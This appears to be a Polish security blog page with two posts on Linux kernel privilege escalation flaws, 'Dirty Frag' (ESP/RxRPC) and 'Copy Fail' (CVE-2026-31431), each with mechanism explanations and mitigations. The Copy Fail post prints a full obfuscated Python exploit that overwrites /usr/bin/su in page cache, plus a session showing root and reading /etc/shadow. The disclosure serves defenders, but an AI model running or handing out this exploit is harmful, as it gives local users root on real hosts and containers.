NFsec Logo

Dirty Frag: kolejna eskalacja uprawnień w jądrze Linux za pomocą ESP i RxRPC

09/05/2026 (2 tygodnie temu) w Bezpieczeństwo Możliwość komentowania Dirty Frag: kolejna eskalacja uprawnień w jądrze Linux za pomocą ESP i RxRPC została wyłączona

K

olejny łańcuch prowadzący do lokalnej eskalacji uprawnień został odkryty jądrze Linux. Za pomocą błędów w podsystemach sieciowych ESP (IPsec) (CVE-2026-43284) oraz RxRPC (CVE-2026-43500) umożliwia lokalnemu użytkownikowi uzyskanie uprawnień administratora. Dirty Frag należy do tej samej klasy błędów, co słynne Dirty Pipe i Copy Fail. Głównym problemem nadal pozostaje niewłaściwa obsługa stron pamięci podręcznej (ang. page cache). W normalnych warunkach system operacyjny powinien dbać o to, aby dane modyfikowane przez jądro były odizolowane od plików tylko do odczytu. Jednak w przypadku Dirty Frag mechanizmy szybkiej deszyfracji w modułach esp4, esp6 oraz rxrpc deszyfrują dane bezpośrednio do fragmentów pamięci, które nie należą wyłącznie do jądra systemu. Dzięki temu atakujący można nadpisać w pamięci RAM fragmenty dowolnych plików systemowych (np. /etc/passwd lub programy z bitem SUID, jak /usr/bin/su.

Można powiedzieć, że jest to następca Copy Fail – tutaj też w przeciwieństwie do wielu innych błędów typu LPE atak jest przewidywalny i ma bardzo wysoką skuteczność. Atakujący też używa wywołania systemowego splice() do zmapowania pamięci podręcznej pliku systemowego do potoku (ang. pipe), a następnie wymusza na jądrze zapisanie danych w to samo miejsce. Wygląda to mniej więcej tak:

  • Atakujący otwiera plik systemowy (np. /etc/passwd) do odczytu i używa wywołania systemowego splice(). Powoduje to, że strony pamięci podręcznej tego pliku zostają podpięte pod bufor potoku. W tym momencie potok nie zawiera kopii danych, ale bezpośrednio „wskazuje” na fizyczną pamięć, w której system przechowuje treść pliku.
  • Kolejnym krokiem jest wykorzystanie protokołów sieciowych jądra, takich jak ESP (ang. Encapsulating Security Payload) lub RxRPC, aby wysłać specjalnie sformatowany pakiet sieciowy, który wymaga od jądra systemu procesu „złożenia” lub „odszyfrowania”.
  • Podczas odszyfrowywania lub weryfikacji pakietu, jądro wykonuje operację zapisu, która kopiuje dane z pakietu sieciowego bezpośrednio do bufora potoku przygotowanego w kroku pierwszym. System jednak nie tworzy prywatnej kopii danych przed ich modyfikacją, lecz operuje bezpośrednio na oryginalnej stronie pamięci podręcznej. Ponieważ bufor wskazuje na pamięć podręczną pliku systemowego, jądro nieświadomie nadpisuje treść pliku w pamięci RAM.

System operacyjny „myśli”, że to tylko tymczasowe dane w potoku, podczas gdy w rzeczywistości modyfikowany jest chroniony plik systemowy. Każdy kolejny proces odczytujący ten plik zobaczy już zmodyfikowaną wersję. Pokazuje to, jak mogą być złożone interakcje między optymalizacją wydajności, a zarządzaniem pamięcią w jądrze systemu. Dlaczego ten łańcuch podatności wykorzystuje dwa moduły? Ponieważ przy wykorzystaniu ESP są wymagane uprawnienia do tworzenia przestrzeni nazw użytkownika (unshare), co na niektórych systemach może być zablokowane. Wariant z RxRPC nie wymaga takich uprawnień, więc działa tam, gdzie wariant ESP zawodzi. Z kolei jeśli w systemie brakuje modułu RxRPC, atakujący próbuje wykorzystać wariant ESP. W ten sposób oba warianty wzajemnie uzupełniają swoje słabe strony. Do czasu wypuszczenia poprawionych wersji modułów w jądrach systemowych mitygacją pozostaje zablokowanie ładowania wadliwych modułów na podatnych systemach:

sh -c \
"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
 > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

Należy mieć jednak na uwadze, że spowoduje to błędy w działaniu połączeń VPN/IPsec opartych na tym standardzie oraz straceniu dostępu do rozproszonego systemu plików AFS, który bazuje na RxRPC.

Więcej informacji: Dirty Frag Write Up, Copy Fail 2: Electric Boogaloo, Dirty Frag: Linux Kernel Local Privilege Escalation via ESP and RxRPC

Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem

30/04/2026 (3 tygodnie temu) w Bezpieczeństwo Możliwość komentowania Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem została wyłączona

P

ojawiła się jedna z najbardziej znaczących luk w zabezpieczeniach jądra systemu Linux ostatnich lat. „Copy Fail”, zidentyfikowana jako CVE-2026-31431, pozwala dowolnemu lokalnemu użytkownikowi na uzyskanie uprawnień administratora w niemal każdej popularnej dystrybucji wydanej po 2017 roku. W świecie cyberbezpieczeństwa błędy typu Local Privilege Escalation (LPE) często wymagają skomplikowanych technik, wyścigów procesów (ang. race conditions) lub precyzyjnego dopasowania do konkretnej wersji jądra systemu. „Copy Fail” przełamuje ten schemat. Jest to błąd logiczny, który jest w pełni deterministyczny, nie wymaga „wyścigu” i działa za pomocą krótkiego, 732-bajtowego skryptu w Pythonie, który nie wymaga nawet kompilacji:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=\
a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=\
t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)\
,],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b061\
0af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e\
10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Rekonstrukcja kodu wymaga usunięcia znaku "\" na końcu linii:

agresor@darkstar:~$ chmod +x sploit.py
agresor@darkstar:~$ ./sploit.py
# id
uid=0(root) gid=1000(agresor) groups=1000(agresor)
# head -1 /etc/shadow
root:*:20135:0:99999:7:::
# head -1 /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"

Luka bierze się z nieszczęśliwego splotu trzech niezależnych funkcjonalności jądra, które osobno są bezpieczne, ale razem tworzą krytyczną podatność (coś na wzór chained vulnerability):

  • Interfejs AF_ALG: Pozwala on programom w przestrzeni użytkownika na korzystanie z algorytmów kryptograficznych jądra. Jest on domyślnie dostępny dla nieuprzywilejowanych użytkowników.
  • Funkcja splice(): Służy do wydajnego przesyłania danych między deskryptorami plików bez kopiowania ich do przestrzeni użytkownika.
  • Optymalizacja in-place w AEAD: Wprowadzona w 2017 roku zmiana w pliku algif_aead.c pozwoliła na wykonywanie operacji szyfrowania / deszyfrowania w tym samym obszarze pamięci (źródło i cel są identyczne).

Przebieg ataku jest następujący: otwierane jest gniazdo AF_ALG i wybierany algorytm authencesn (uwierzytelnione szyfrowanie). Następnie używa splice(), aby przesłać dane z pliku systemowego (np. /usr/bin/su), który jest tylko do odczytu, do gniazda kryptograficznego. Błąd polega na tym, że podczas operacji deszyfrowania algorytm authencesn wykonuje tzw. scratch write – zapisuje 4 bajty numeru sekwencyjnego (seqno_lo) do bufora docelowego. Ponieważ dzięki splice() bufor ten wskazuje bezpośrednio na page cache (tutaj: pamięć podręczną stron pamięci) danego pliku w jądrze, system operacyjny nadpisuje fragment pliku w pamięci RAM.

Dlaczego ta luka jest groźna? Ponieważ skrypt działa bez modyfikacji na wielu dystrybucjach (Ubuntu, Amazon Linux, RHEL, SUSE i innych) korzystających z jąder wydanych po 2017 roku. Ponadto modyfikacja prowadząca do eskalacji uprawnień następuje tylko w pamięci RAM (wspomniany page cache), a plik na dysku twardym pozostaje niezmieniony – dlatego tradycyjne narzędzia sprawdzające integralność plików niczego nie wykryją. Ze względu na fakt, że page cache jest współdzielony przez wszystkie procesy na hoście, w tym przez kontenery – oznacza to, że atakujący może przeprowadzić ucieczkę z kontenera i przejąć kontrolę nad całym węzłem (np. w klastrze Kubernetes), modyfikując pamięć podręczną plików systemowych hosta.

Głównym rozwiązaniem jest aktualizacja jądra systemu do wersji zawierającej poprawkę (revert błędnej optymalizacji algif_aead.c do out-of-place). Tymczasowym jest wyłączenie modułu algif_aead:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

Dla wielu standardowych systemów nie powinno mieć to negatywnego impaktu na ich działanie. Jeśli jakaś aplikacja używała algif_aead, po jego wyłączeniu po prostu przełączy się na standardowe biblioteki kryptograficzne (np. OpenSSL działający na CPU). W większości przypadków różnica w szybkości jest niezauważalna dla człowieka. W razie wątpliwości możemy za pomocą poleceń:

# lsof | grep AF_ALG
# ss -xa

sprawdzić czy w systemie nie są otwierane gniazda typu aead.

Więcej informacji: copy.fail, Copy Fail: 732 Bytes to Root on Every Major Linux Distribution, Ubuntu CVE-2026-31431, RedHat CVE-2026-31431